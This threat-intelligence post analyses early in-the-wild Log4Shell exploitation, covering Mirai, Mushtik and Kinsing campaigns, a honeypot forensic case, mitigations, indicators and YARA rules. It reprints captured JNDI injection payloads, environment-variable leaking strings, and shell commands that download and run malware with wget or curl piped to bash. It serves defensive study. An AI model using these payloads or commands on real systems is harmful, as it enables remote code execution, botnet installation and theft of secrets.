Analysis of Initial In The Wild Attacks Exploiting Log4Shell/Log4J/CVE-2021-44228

Introduction

Log4J is an open-source logging platform running on Java and built-in to many web platforms. Public reports of exploitation started on December 9th, followed by wider exploitation on December 10th onwards:

Number of scans per day for CVE-2021-44228 - data from BinaryEdge.io

The exploit allows remote code execution, and relies upon Log4J loading data from LDAP via a JNDI (Java Naming and Directory Interface) interface.

Below we have outlined the attacks we have seen in the wild so far, as well as a forensic investigation of a server compromised in one of the attacks.

We've released a playbook on how to respond to compromises in Docker & Kubernetes environments - you can get a free copy here.

Environment Variable Scanning

We have started to see both attacks and security researchers exploit the ability to incorporate Environment Variables into outgoing JNDI requests. Unlike the Remote Code Execution vulnerabilities which require importing data over LDAP, the environment variable based attacks can run on the latest versions of Java. The RCE itself requires an older version of Java from 2018 or before.

We can see in data from BinaryEdge the known bad IP address 47.75.82[.]85 sending the environment and potentially return: 

GET / HTTP/1.1\r\nHost: 47.75.82.85:443\r\n

User-Agent: ${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//45.146.164.160:8081/w}

\r\nContent-Type: application/json

\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n

The IP addresses 96.234.173[.]145 and 154.21.28[.]76 are sending the Java_Version as a DNS request to interactsh[.]com, a service popular with security researchers:

GET / HTTP/1.1

\r\nHost: 47.106.202.101:7401

\r\nUser-Agent: ${jndi:ldap://${env:JAVA_VERSION}.c6v09ky2vtc000092300gdpor3hyyyyyb.interactsh.com}

\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive

\r\nAuthorization: ${jndi:ldap://${env:JAVA_VERSION}.c6v09ky2vtc000092300gdpor3hyyyyyb.interactsh.com}

\r\nReferer: ${jndi:ldap://${env:JAVA_VERSION}.c6v09ky2vtc000092300gdpor3hyyyyyb.interactsh.com}\r\n

Sophos have reported that they have also seen attackers stealing environment variables such as AWS_SECRET_ACCESS_KEY. Which would enable an attacker to have the same access to your AWS environment (.e.g. List and download files from S3 Storage) as the system they compromised.

Mirai Botnet Activity

A number of botnets have been observed exploiting the vulnerability.

Starting December 11th we saw traffic such as this from 45.137.21[.]9:

POST / HTTP/1.1\r\n

User-Agent: ${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}

\r\nHost: 89.188.76.250

\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

\r\nAccept-Language: en-US,en;q=0.5

\r\nAccept-Encoding: gzip, deflate

\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\n

The Base64 decodes to:

<code class="">wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh</code>

The first stage payload is a shell script from http://62.210.130[.]250/lh.sh which then installs the Mirai binary appropriate for the targeted system, e.g. http://62.210.130[.]250/web/admin/x86

As usual with Mirai, is served from an open directory:

The mirai samples then connect to the command and control server nazi[.]uy.

Mushtik Activity

Starting December 11th, we started to see activity from a number of IP ranges sending traffic such as this:

GET /$%7Bjndi:ldap://45.130.229.168:1389/Exploit%7D HTTP/1.1

\r\nHost: 89.188.76.250

\r\nUser-Agent: Mozilla/5.0 zgrab/0.x

\r\nAccept: */*

\r\nAccept-Encoding: gzip\r\n\r\n

This serves Java Bytecode (4d040caffa28e6a0fdc0d274547cf1c7983996fc33e51b0b2c511544f030d71b) 

Running strings over the file Exploit:

SourceFileExploit.javajava/lang/String

/bin/bash

curl http://18.228.7.109/.log/log | sh

java/lang/Exceptionjava/lang/Object

It is clear it executes the shell script at http://18.228.7[.]109/.log/log :

wget -O /tmp/pty3 http://18.228.7.109/.log/pty3; chmod +x /tmp/pty3;

chmod 700 /tmp/pty3; /tmp/pty3 &wget -O /tmp/pty4 http://18.228.7.109/.log/pty4;

chmod +x /tmp/pty4; chmod 700 /tmp/pty4; /tmp/pty4

&wget -O /tmp/pty2 http://18.228.7.109/.log/pty2; chmod +x /tmp/pty2;

chmod 700 /tmp/pty2; /tmp/pty2 &wget -O /tmp/pty1 http://18.228.7.109/.log/pty1; chmod +x /tmp/pty1; chmod 700 /tmp/pty1; /tmp/pty1 &wget -O /tmp/pty3 http://18.228.7.109/.log/pty3; chmod +x /tmp/pty3; chmod 700 /tmp/pty3; /tmp/pty3 &wget -O /tmp/pty5 http://18.228.7.109/.log/pty5; chmod +x /tmp/pty5; chmod 700 /tmp/pty5; /tmp/pty5 &
(curl http://159.89.182.117/wp-content/themes/twentyseventeen/ldm || wget -qO - http://159.89.182.117/wp-content/themes/twentyseventeen/ldm)|bash

These scripts then install Mushtik, a variant of the classic Tsunami Linux backdoor.

Responding to a Kinsing Compromise

We set up a number of honeypots of outdated installations containing Log4J. After a few hours, we noticed that an old Apache Solr install was showing extremely high CPU utilization:

We acquired a full forensic copy of the system with Cado Response and commenced an investigation. It was immediately clear that a number of malicious files were present on the system - red dots here indicate folders where a file was detected as malware:

Most miners drop a payload under /tmp and this is no exception - the crypto-currency minder  xmrig is deployed at /tmp/kdevtmpfsi :

And the kinsing malware itself was installed at /etc/kinsing :

Pivoting on the time around when /etc/kinsing was created, we saw see some references to scheduled tasks in the crontab:

The URL that is added to the crontab here has been down for some time:

We didn’t directly capture the initial exploitation, however we have seen delivery from Tor exit nodes with the following payload:

<code class="">GET / HTTP/1.1" 200 1121 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/(curl -s 45.155.205.233:5874/$YOUR_IP:443||wget -q -O- 45.155.205.233:5874/$YOUR_IP:443)|bash}</code>

This Java object payload would then pull in and execute the installation script at http://45.137.155[.]55/ex.sh - as recorded by Omri Segev Moyal.

Targeted Activity

A typical chain of events for exploits is:

• Early exploitation from fast moving botnets such as Mushtik and Mirai; followed by
• Targeted use by mid-sophistication threat actors; followed by
• Targeted ransomware

We have not directly observed any targeted activity ourselves, however a CrowdStrike employee reports that they have:

Microsoft have said that they have “… observed activities including installing coin miners, Cobalt Strike to enable credential theft and lateral movement, and exfiltrating data from compromised systems”

Recommendations and Mitigations

A number of mitigations can be employed to reduce the impact of Log4Shell:

• Upgrade Log4J to the latest version (>=2.15.0).
• Upgrade Java installations to 2019 or later editions.
• Where that isn't possible, you can manually set the setting com.sun.jndi.rmi.object.trustURLCodebase to false.
• Setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
• If possible, block outgoing LDAP traffic.

Review all vulnerable internet facing systems for signs of compromise. If any systems show signs of compromise, we recommend that you investigate each system to determine what malicious activity has occurred. This could include what data or accounts may have been exposed, if propagation to other systems had occurred, or if other unknown backdoors exist, and then determine if you need to take any further incident response actions. You may wish to forensically capture then reinstall and apply updates where feasible.

For systems that have been impacted in AWS, we also recommend that you monitor connections to the AWS console for newly deployed ec2 instances, access to existing ec2 instances or S3 buckets using potentially compromised AWS credentials.

We've released a playbook on how to respond to compromises in Docker & Kubernetes environments - you can get a free copy here.

Indicators of Compromise

Environment Variable Scanning

45.146.164[.]160

interactsh[.]com

Mirai

45.137.21[.]9

http://62.210.130[.]250/lh.sh

http://62.210.130[.]250/web/admin/x86

nazi[.]uy

Mushtik

45.130.229[.]168

18.228.7[.]109

159.89.182[.]117

4d040caffa28e6a0fdc0d274547cf1c7983996fc33e51b0b2c511544f030d71b

Kinsing

45.155.205[.]233

http://93.189.42[.]8/kinsing

http://93.189.42[.]8/lh.sh

Yara Rules

rule Linux_Kinsing_Malware {

   meta:

      description = "Detects Kinsing Malware"

      author = "chris@cadosecurity.com"

      date = "2021-12-11"

      license = "Apache License 2.0"

      hash1 = "6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b"

    strings:

      $a1 = "main.goKrongo" ascii

      $a2 = "main.taskWithScanWorker" ascii

      $a3 = "main.runTaskWithHttp" ascii

      $a5 = "main.getMinerPid" ascii

      $a6 = "main.sendResult" ascii

      $a7 = "main.minerRunningCheck" ascii

   condition:

      uint16(0) == 0x457f and 4 of them

}
rule Cryptomining_Malware_Xmrig {
 meta:
 description = "Detects Xmrig Cryptominer"
 author = "chris@cadosecurity.com"
 date = "2021-12-11"
 license = "Apache License 2.0"
 strings:
 $ = "password for mining server" nocase wide ascii
 $ = "threads count to initialize RandomX dataset" nocase wide ascii
 $ = "display this help and exit" nocase wide ascii
 $ = "maximum CPU threads count (in percentage) hint for autoconfig" nocase wide ascii
 $ = "enable CUDA mining backend" nocase wide ascii
 $ = "cryptonight" nocase wide ascii
 condition:
 5 of them
 }
rule Mining_Worm_August_2020 {
 meta:
 description = "Detects Mining Worm"
 author = "chris@cadosecurity.com"
 date = "2020-08-16"
 license = "Apache License 2.0"
 hash1 = "3a377e5baf2c7095db1d7577339e4eb847ded2bfec1c176251e8b8b0b76d393f"
 hash2 = "929c3017e6391b92b2fbce654cf7f8b0d3d222f96b5b20385059b584975a298b"
 hash3 = "705a22f0266c382c846ee37b8cd544db1ff19980b8a627a4a4f01c1161a71cb0"
 strings:
 $a = "echo $LOCKFILE | base64 -d > $tmpxmrigfile" wide ascii
 $b = "/root/.tmp/xmrig –config=/root/.tmp/" wide ascii
 $c = "if [ -s /usr/bin/curl ]; then" wide ascii
 $d = "echo ‘found: /root/.aws/credentials'" wide ascii
 $e = "function KILLMININGSERVICES(){" wide ascii
 $g = "touch /root/.ssh/authorized_keys 2>/dev/null 1>/dev/null" wide ascii
 $h = "rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service" wide ascii
 $i = "userfile=@/root/.ssh/id_ed25519.pub" wide ascii
 condition:
 filesize < 500KB and any of them
}

References

• https://research.nccgroup.com/2021/12/12/log4shell-reconnaissance-and-post-exploitation-network-detection/
• https://www.lacework.com/blog/lacework-labs-identifies-log4j-attackers/
• https://blog.netlab.360.com/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/
• https://twitter.com/bad_packets/status/1469225135504650240
• https://urlhaus.abuse.ch/browse/tag/log4j/
• https://logging.apache.org/log4j/2.x/security.html
• https://www.reddit.com/r/blueteamsec/comments/rd38z9/log4j_0day_being_exploited/